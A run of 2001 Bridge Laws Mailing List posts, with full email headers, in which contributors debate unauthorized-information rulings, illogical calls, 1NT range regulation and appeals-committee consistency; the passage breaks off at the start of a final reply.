(8.9.2/8.9.2/cfunix S 0.5) id SAA07829 for bridge-laws@rgb.anu.edu.au; Mon, 8 Jan 2001 18:00:01 -0500 (EST) Date: Mon, 8 Jan 2001 18:00:01 -0500 (EST) From: Steve Willner Message-Id: <200101082300.SAA07829@cfa183.harvard.edu> To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] What is suggested ? X-Sun-Charset: US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > From: richard.hills@immi.gov.au > Kaplan stated that *if* the AC deemed that the doubler > had deliberately hesitated to prevent partner pulling, > then a mere score adjustment was not appropriate, > but rather a disciplinary penalty. Of course there's the little matter of burden of proof for a C&E action, but as Kaplan said, there is no case for adjustment under L16A or 73C. Nowadays, we could use L72B1 if the hesitator "could have known." -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 10:05:56 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f08N5T805967 for bridge-laws-outgoing; Tue, 9 Jan 2001 10:05:30 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailout2.nyroc.rr.com (mailout2-0.nyroc.rr.com [24.92.226.121]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f08N5Nt05963 for ; Tue, 9 Jan 2001 10:05:24 +1100 (EST) Received: from [24.95.201.231] (roc-24-95-201-231.rochester.rr.com [24.95.201.231]) by mailout2.nyroc.rr.com (8.9.3/8.9.3) with ESMTP id SAA13150 for ; Mon, 8 Jan 2001 18:01:26 -0500 (EST) Mime-Version: 1.0 X-Sender: erepper1@pop-server.rochester.rr.com Message-Id: In-Reply-To: <200101082040.MAA29361@mailhub.irvine.com> References: <200101082040.MAA29361@mailhub.irvine.com> Date: Mon, 8 Jan 2001 18:04:20 -0500 To: Bridge Laws From: Ed Reppert Subject: Re: [BLML] What is suggested ? Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 > > If a law says that voters may not elect as president a person from >> among the citizenry who is younger than age 35, does that mean a >> non-citizen can be chosen? I think not. > >I think it does, if it's the *only* law that restricts who may be >chosen as president. Of course, if there's another law saying that >non-citizens can't be president, both restrictions apply. In the case >of bridge, though, there's no "other law" saying that illogical >actions (not suggested by UI) cannot be chosen. Marv's example is fundamentally flawed. The actual law (Article II, Section 3, of the US Constitution) says: No Person except a natural born Citizen, or a Citizen of the United States, at the time of the Adoption of this Constitution, shall be eligible to the Office of President; neither shall any Person be eligible to that Office who shall not have attained to the Age of thirty-five Years, and been fourteen Years a Resident within the United States. So the law clearly prohibits the election of non-citizens. In fact, it also prohibits the election of *naturalized* citizens. I also disagree with "what is not authorized is not permitted." The laws of bridge are designed to specify correct procedure. In this case "correct procedure" is to avoid actions which might convey UI. To say that a law which discusses what to do when UI may have been conveyed is more limiting than the definition of correct procedure makes no sense. Further, the definition of correct procedure does *not* prohibit illogical calls. So they are permitted - provided they are not "demonstrably suggested" (that would be a good trick) by UI. Regards, Ed mailto:ereppert@rochester.rr.com pgp public key available at ldap://certserver.pgp.com or http://pgpkeys.mit.edu:11371 pgp fingerprint: 91BE CB97 E4AE D411 6C73 30E7 BD94 5B76 AEF7 7BCE -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBOlpHrr2UW3au93vOEQK+ZgCfbhgVfpOt9bQ2QdwaVGEvIevPI4UAoOmQ jIZhEt6aXRB8DviVrDoTwvXR =xLHt -----END PGP SIGNATURE----- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 10:24:10 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f08NNl406008 for bridge-laws-outgoing; Tue, 9 Jan 2001 10:23:47 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailhub.irvine.com (larry-rp.irvine.com [63.206.153.98]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f08NNbt06003 for ; Tue, 9 Jan 2001 10:23:37 +1100 (EST) Received: from flash.irvine.com (flash.irvine.com [192.160.8.4]) by mailhub.irvine.com (8.9.3/8.9.3) with ESMTP id PAA00561; Mon, 8 Jan 2001 15:23:30 -0800 Message-Id: <200101082323.PAA00561@mailhub.irvine.com> To: bridge-laws@rgb.anu.edu.au CC: adam@irvine.com Subject: Re: [BLML] Equity or simplicity? In-reply-to: Your message of "Tue, 09 Jan 2001 09:32:02 PST." <4A2569CF.00032D54.00@immcbrn1.immi.gov.au> Date: Mon, 08 Jan 2001 15:23:31 PST From: Adam Beneschan Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Richard Hills wrote: > But this is inherent in the nature of committees. > When did the Bridge World's Master Solvers Club > last have a unanimous vote? I suspect this was back when the MSC panel consisted of Ely Culbertson. -- Adam -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 11:01:28 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f08Nxnq13470 for bridge-laws-outgoing; Tue, 9 Jan 2001 10:59:49 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailhub.irvine.com (larry-rp.irvine.com [63.206.153.98]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f08Nxft13433 for ; Tue, 9 Jan 2001 10:59:41 +1100 (EST) Received: from flash.irvine.com (flash.irvine.com [192.160.8.4]) by mailhub.irvine.com (8.9.3/8.9.3) with ESMTP id PAA01335; Mon, 8 Jan 2001 15:59:32 -0800 Message-Id: <200101082359.PAA01335@mailhub.irvine.com> To: Bridge Laws CC: adam@irvine.com Subject: Re: [BLML] What is suggested ? In-reply-to: Your message of "Mon, 08 Jan 2001 18:04:20 PST." Date: Mon, 08 Jan 2001 15:59:34 PST From: Adam Beneschan Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Ed Reppert wrote: > Further, the definition of correct procedure does > *not* prohibit illogical calls. So they are permitted - provided they > are not "demonstrably suggested" (that would be a good trick) by UI. I don't think it's hard to come up with an "illogical" call that's demonstrably suggested by UI. You open 1NT. Partner responds 3NT. Now I think everyone would agree that a 6NT rebid by you is an illogical call. But suppose you open 1NT (15-17) with a 17-count, and partner announces this as "8-10" (this is the ACBL). Partner responds 3NT. You know from the UI that partner has a hand that he expects to make game opposite an 8-10 count, so he has to have right around 17 HCP. So a 6NT rebid here would be demonstrably suggested by the UI. Of course, one could argue that in this context, 6NT is not "illogical", since it would be logical to bid it if you were allowed to take advantage of the UI. However, when I tried to argue this way on BLML many years ago, the consensus was that "illogical" means in the context of the auction alone, with the UI not being part of the context. So 6NT is considered an illogical bid, but it's demonstrably suggested by the UI. QED. -- Adam -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 11:40:07 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f090dPs16880 for bridge-laws-outgoing; Tue, 9 Jan 2001 11:39:25 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-11.mail.demon.net (finch-post-11.mail.demon.net [194.217.242.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f090dBt16863 for ; Tue, 9 Jan 2001 11:39:11 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-11.mail.demon.net with smtp (Exim 2.12 #1) id 14FmoZ-000Doy-0B for bridge-laws@rgb.anu.edu.au; Tue, 9 Jan 2001 00:39:04 +0000 Message-ID: Date: Mon, 8 Jan 2001 18:28:37 +0000 To: bridge-laws@rgb.anu.edu.au From: Quango Reply-To: Nanki Poo Subject: Re: [BLML] a French Snow White References: <00b801c07673$a85911a0$515862d8@jkuchenhome> In-Reply-To: <00b801c07673$a85911a0$515862d8@jkuchenhome> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In article <00b801c07673$a85911a0$515862d8@jkuchenhome>, John A. Kuchenbrod writes >After I posted those last messages, I received another copy of the >virus. Strangely enough, the header indicated that it came directly >from beauvillain to me, not through the bridge list. > >After some experimentation from my other account, I determined that >one of three things has happened: > >(1) beauvillain's owner is on the list and added me to the address book, >(2) the virus has mutated/evolved and always claims that beauvillain is > the originating IP, or >(3) the virus has mutated/evolved and somehow, I infected myself. I > don't use an address book, so I don't think that (3) is possible. > >Has anyone else received a copy of this French variant *NOT* through >BLML? Grrrooowwwwllllllllllllll !!!!! I did! And Olivier had sent me a change of cats! Mrow *NP* -- Purrs and headbutts from: /\_/\ /\ /\ Quango =( ^*^ )= @ @ Nanki Poo ( | | ) =( + )= Pictures at http://blakjak.com/qu_npoo.htm (_~^ ^~ ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 11:40:08 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f090dME16879 for bridge-laws-outgoing; Tue, 9 Jan 2001 11:39:22 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-11.mail.demon.net (finch-post-11.mail.demon.net [194.217.242.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f090d8t16861 for ; Tue, 9 Jan 2001 11:39:10 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-11.mail.demon.net with smtp (Exim 2.12 #1) id 14FmoZ-000Doz-0B for bridge-laws@rgb.anu.edu.au; Tue, 9 Jan 2001 00:39:05 +0000 Message-ID: Date: Mon, 8 Jan 2001 18:34:26 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Computer References: In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Stevenson writes > I returned from my Year End Congress to find my computer is down. I can >read emails from my backup but reading BLML wihout threading is impossible! >I expect the computer back within 7 to 14 days. > > Emails direct to hotmail will reach me easily. In fact I can read other >emails but if it is urgent it is better to write to both eddresses/ Computer back - thank goodness! -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 11:40:07 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f090dP916881 for bridge-laws-outgoing; Tue, 9 Jan 2001 11:39:25 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-10.mail.demon.net (finch-post-10.mail.demon.net [194.217.242.38]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f090dBt16864 for ; Tue, 9 Jan 2001 11:39:12 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-10.mail.demon.net with smtp (Exim 2.12 #1) id 14FmoZ-0002AE-0A for bridge-laws@rgb.anu.edu.au; Tue, 9 Jan 2001 00:39:07 +0000 Message-ID: Date: Mon, 8 Jan 2001 18:33:41 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Permitted system References: <200101030313.TAA26216@mailhub.irvine.com> In-Reply-To: <200101030313.TAA26216@mailhub.irvine.com> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Adam Beneschan writes >It's worth noting that about 15-20 years ago, the California Supreme >Court had to deal with a similar case (it may have involved De >Morgan's law, or it may have involved some other point of grammar, I >don't know). As I recall, the Legislature had written a law that had >the word "and" in it, and some businesses had argued that the effect >was to loosen a certain restriction; the Court decided, based on the >legislative history, that the Legislature actually meant to say "or" >and just got the word wrong, so it decided that the "or" meaning that >the Legislature apparently intended was the law that would apply in >the state. Although some might argue, I suppose it's a valid >principle of legislative interpretation that when it can be >established that a law's authors clearly intended to mean one thing, >and said another only by accident, that the intended meaning and not >the literal one is the one that gets applied. That is what we do with L54. [Opening lead out of turn - yes, I know there are two dissenting opinions on BLML, but I don't care!!!!!]. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 11:40:07 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f090dSm16882 for bridge-laws-outgoing; Tue, 9 Jan 2001 11:39:28 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-10.mail.demon.net (finch-post-10.mail.demon.net [194.217.242.38]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f090dEt16870 for ; Tue, 9 Jan 2001 11:39:14 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-10.mail.demon.net with smtp (Exim 2.12 #1) id 14FmoZ-0002AD-0A for bridge-laws@rgb.anu.edu.au; Tue, 9 Jan 2001 00:39:05 +0000 Message-ID: Date: Mon, 8 Jan 2001 18:33:17 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Permitted system References: <6c.5ec69ba.276ae824@aol.com> <018401c0666e$d5a0e120$fb981e18@san.rr.com> <031a01c0678f$86291f00$fb981e18@san.rr.com> <00f001c07519$975c1380$56991e18@san.rr.com> In-Reply-To: <00f001c07519$975c1380$56991e18@san.rr.com> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Marvin L. French writes >There is a problem, however, with 10-12 1NT openings, one that >doesn't exist with 15-17 or 16-18 or whatever, and that problem >arises from the the above regulation. People who play 16-18 do not >in general really play 15-18, since that range would be legal. >People who play 10-12, however, may be sorely tempted to play 9-11 >or 9-12 without abandoning their pet conventional followups. >Questioned about a 9 HCP opening, they may say it seemed to them >equivalent to a 10 HCP hand, making it acceptable. > >Can such judgments be questioned? Sure. Just ask,"What makes you >think the hand is worth more than its 9 HCP would indicate?" > >Acceptable answers are readily available for hands such as the >following: > >S-Axx H-Axx D-Jxxx C-10xx ("Aces are undervalued in 4-3-2-1, so I >judged this to be a 1NT opening") > >S-KQx H-Axx D-10xxx C-10xx ("King-queen together are worth more than >when separate, and I have two 10s besides.") > >S-Qx H-xxx D-Kxx C- A10987 ("My club suit is worth an extra point"). > >S-K109 H-Q108 D-10987 C-A108 ("Look at all those fillers; this is a >much better hand than its point count says.") > >However, there can be no acceptable reply with a hand such as S-Qxx >H-Kxx D-Kxxx C-Jxx, which cannot reasonably be judged worth a 1NT >opening when playing 10-12. A TD would be justified in considering >an opening 1NT bid on such a hand as *prima facie* evidence that a >range of 9-11/12 is actually being played, and take appropriate >action. > >I would tell ACBL TDs: "If a player with 10-12 NTs on the CC can >convince you that a 9 HCP hand was worth opening because of virtues >not recognized by the 4-3-2-1 count, then the opening is acceptable. >However, you should treat such claims with some skepticism, >especially if there seem to be so many of them that partners will >start allowing for lighter hands than the 10-12 HCP range would >suggest. In that case you can tell the pair to tighten up their 1NT >openings or face the danger that followup conventions will be >barred." I think that looking at partner's actions is also an acceptable and sensible method. In England/Wales, psycher's partners are invited to explain their bidding in writing. While this is a deviation rather than a psyche, the same principle applies. Suppose the 1NT opener's partner holds a medium 15-count, nothing special, and raises a 10-12 1NT to 2NT. Why not 3NT? If the opener turns up with 9 HCP that provides evidence [*not* proof, evidence] that they play a 9-12 1NT, and the TD should take this into account. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 11:53:28 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f090rJv16937 for bridge-laws-outgoing; Tue, 9 Jan 2001 11:53:19 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailout1-1.nyroc.rr.com (mailout1-0.nyroc.rr.com [24.92.226.81]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f090rDt16933 for ; Tue, 9 Jan 2001 11:53:13 +1100 (EST) Received: from [24.95.201.231] (roc-24-95-201-231.rochester.rr.com [24.95.201.231]) by mailout1-1.nyroc.rr.com (8.9.3/8.9.3) with ESMTP id TAA02374 for ; Mon, 8 Jan 2001 19:49:12 -0500 (EST) Mime-Version: 1.0 X-Sender: erepper1@pop-server.rochester.rr.com Message-Id: In-Reply-To: <200101082359.PAA01335@mailhub.irvine.com> References: <200101082359.PAA01335@mailhub.irvine.com> Date: Mon, 8 Jan 2001 19:51:29 -0500 To: Bridge Laws From: Ed Reppert Subject: Re: [BLML] What is suggested ? Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 > QED. Well done, Adam. I withdraw my parenthetical expression (but not the rest of my statement. :-) Regards, Ed mailto:ereppert@rochester.rr.com pgp public key available at ldap://certserver.pgp.com or http://pgpkeys.mit.edu:11371 pgp fingerprint: 91BE CB97 E4AE D411 6C73 30E7 BD94 5B76 AEF7 7BCE -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBOlpg8L2UW3au93vOEQLdtwCg40T+O7+Ij3SdoUrFEl2wiObrbycAoLI8 qOX3BhdYZRmAtzzPDNNh9TdG =pQoK -----END PGP SIGNATURE----- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 12:33:14 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f091Wmw26110 for bridge-laws-outgoing; Tue, 9 Jan 2001 12:32:48 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp6.mindspring.com (smtp6.mindspring.com [207.69.200.110]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f091Wft26072 for ; Tue, 9 Jan 2001 12:32:42 +1100 (EST) Received: from mindspring.com (user-38ldlb0.dialup.mindspring.com [209.86.213.96]) by smtp6.mindspring.com (8.9.3/8.8.5) with ESMTP id UAA29961 for ; Mon, 8 Jan 2001 20:32:36 -0500 (EST) Message-ID: <3A5A6B69.3FA6BD7F@mindspring.com> Date: Mon, 08 Jan 2001 17:37:45 -0800 From: "John R. Mayne" X-Mailer: Mozilla 4.5 [en] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 CC: Bridge Laws Mailing List Subject: Illicit information [was: Re: [BLML] What is suggested ?] References: <200101082201.OAA31270@mailhub.irvine.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Adam Beneschan wrote: > > Gordon Bower wrote: > > > Incidentally, does anyone find it odd that L73C applies only to UI from > > partner, not to UI recevied from anywhere else in the room? Apparently the > > lawmakers believe L16B has no such loopholes as L16A does. > > FWIW, I doubt that L73C was written to cover "loopholes" in L16A, as > you seem to imply. [snip] A second problem exists. Suppose I deliberately arrange to receive the hand records of the day's events prior to those events taking place, and thus receive illicit information. I then play and use the information culled from the hand records to maximize my results. What law(s) have I broken? --JRM -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 13:11:43 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f092B5O09284 for bridge-laws-outgoing; Tue, 9 Jan 2001 13:11:05 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f092Axt09250 for ; Tue, 9 Jan 2001 13:10:59 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com; Mon, 8 Jan 2001 18:07:50 -0800 Message-ID: <00d501c079e1$5b1550e0$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: Cc: References: <200101082040.MAA29361@mailhub.irvine.com> Subject: Re: [BLML] What is suggested ? Date: Mon, 8 Jan 2001 18:03:39 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Adam Beneschan wrote: > > Marvin French wrote: > > > Ton Kooijman wrote: > > > > > Marv wrote: > > > > > > > > > > > >In my view L16A is telling you what you can do after > > > > receiving UI from > > > > >partner, and making an illogical call is not one of the > > > > options given. > > > > > > > > "What > > > > >is not authorized is not permitted." > > I don't see how L16A, which is written in the negative (i.e. it tells > you what you may not do), could be interpreted as "authorizing" a > limited set of actions. Saying that you may not select a certain item out of a set (negative) is equivalent to saying you may select anything out of the set except a certain item (positive), isn't it? I don't see that either permits selecting from another set. It's the old conundrum illustrated by a parking sign's words: "Parking Saturdays and Sundays 8 am to 10 pm" To me this means on weekends I can select any time between 8 am to 10 pm to park, but not midnight to 8 am or 10 pm to midnight, with no parking allowed on weekdays. To others it may say that I can park there at any time on weekdays, since there is nothing barring that. While that is not illogical, the policeman who writes a ticket may not think so. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 13:16:20 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f092GDi09894 for bridge-laws-outgoing; Tue, 9 Jan 2001 13:16:13 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-33.mail.demon.net (anchor-post-33.mail.demon.net [194.217.242.91]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f092G5t09890 for ; Tue, 9 Jan 2001 13:16:08 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-33.mail.demon.net with smtp (Exim 2.12 #1) id 14FoKK-00011N-0X for bridge-laws@rgb.anu.edu.au; Tue, 9 Jan 2001 02:15:57 +0000 Message-ID: Date: Tue, 9 Jan 2001 02:14:13 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Ruckus at the Club References: In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk richard.hills@immi.gov.au writes >David Stevenson wrote: > >>I think it is a part of the problem >>that people believe that the TD >>should/can/must only be called by the >>non-offending side. I think many >>Director calls would be less fraught >>if the offending side called the >>Director. > >Just such a situation occurred at my >club on Friday night. During an >auction, pard provided blatant UI. I >then chose a call which the UI suggested >(because I thought that I had no other >LA). > >I summoned the TD to get a ruling, but >was (correctly) informed that under >L16A only an opponent could ask for a >ruling. > >L16A is the single most likely Law to >create a *fraught* situation. Therefore, >perhaps the 2008 Laws should give the >side which has possibly infracted L16A, >the option to ask the TD for a >potentially adverse ruling. There is nothing to stop you telling the Director about a possible breach of L73C. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 13:21:26 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f092LFl09910 for bridge-laws-outgoing; Tue, 9 Jan 2001 13:21:15 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f092L9t09906 for ; Tue, 9 Jan 2001 13:21:10 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Mon, 8 Jan 2001 18:18:00 -0800 Message-ID: <00ed01c079e2$c7216c00$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <4A2569CF.00032D54.00@immcbrn1.immi.gov.au> Subject: Re: [BLML] Equity or simplicity? Date: Mon, 8 Jan 2001 18:16:50 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Richard Hills wrote: > > Marvin L French parenthesised: > > [big snip] > > >(by which I mean the same infraction > >will incur the same penalty no matter > >who is the TD or who is on the AC) > > [big snip] > > The only way this utopia could occur would be if > the Laws contained nothing but automatic penalties > - thus removing the need for ACs. Yes, of course, an unattainable utopia. Meanwhile, we can do what is possible to minimize the need for ACs by making the rules, and penalties for breaking them, as straightforward as we can. > A cursory glance > at the variance of opinions in the casebooks of ACBL > National Championship ACs reveals not only > frequent lack of unanimity within ACs, but varying > judgements by ACs due to different membership. Which proves my point. More should be done to reduce the necessity for judgment, which means, among other things, no L12C3. > > But this is inherent in the nature of committees. > When did the Bridge World's Master Solvers Club > last have a unanimous vote? > The Laws do not have to deal with the number, nature, and complexity of problems encountered by Bridge World Standard. I don't see this as a good analogy. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 13:31:45 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f092VXX09933 for bridge-laws-outgoing; Tue, 9 Jan 2001 13:31:33 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailhub.irvine.com (larry-rp.irvine.com [63.206.153.98]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f092VQt09929 for ; Tue, 9 Jan 2001 13:31:27 +1100 (EST) Received: from flash.irvine.com (flash.irvine.com [192.160.8.4]) by mailhub.irvine.com (8.9.3/8.9.3) with ESMTP id SAA04935; Mon, 8 Jan 2001 18:31:17 -0800 Message-Id: <200101090231.SAA04935@mailhub.irvine.com> To: bridge-laws@rgb.anu.edu.au CC: adam@irvine.com Subject: Re: [BLML] What is suggested ? In-reply-to: Your message of "Mon, 08 Jan 2001 18:03:39 PST." <00d501c079e1$5b1550e0$56991e18@san.rr.com> Date: Mon, 08 Jan 2001 18:31:19 PST From: Adam Beneschan Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Marvin French wrote: > Adam Beneschan wrote: > > > > 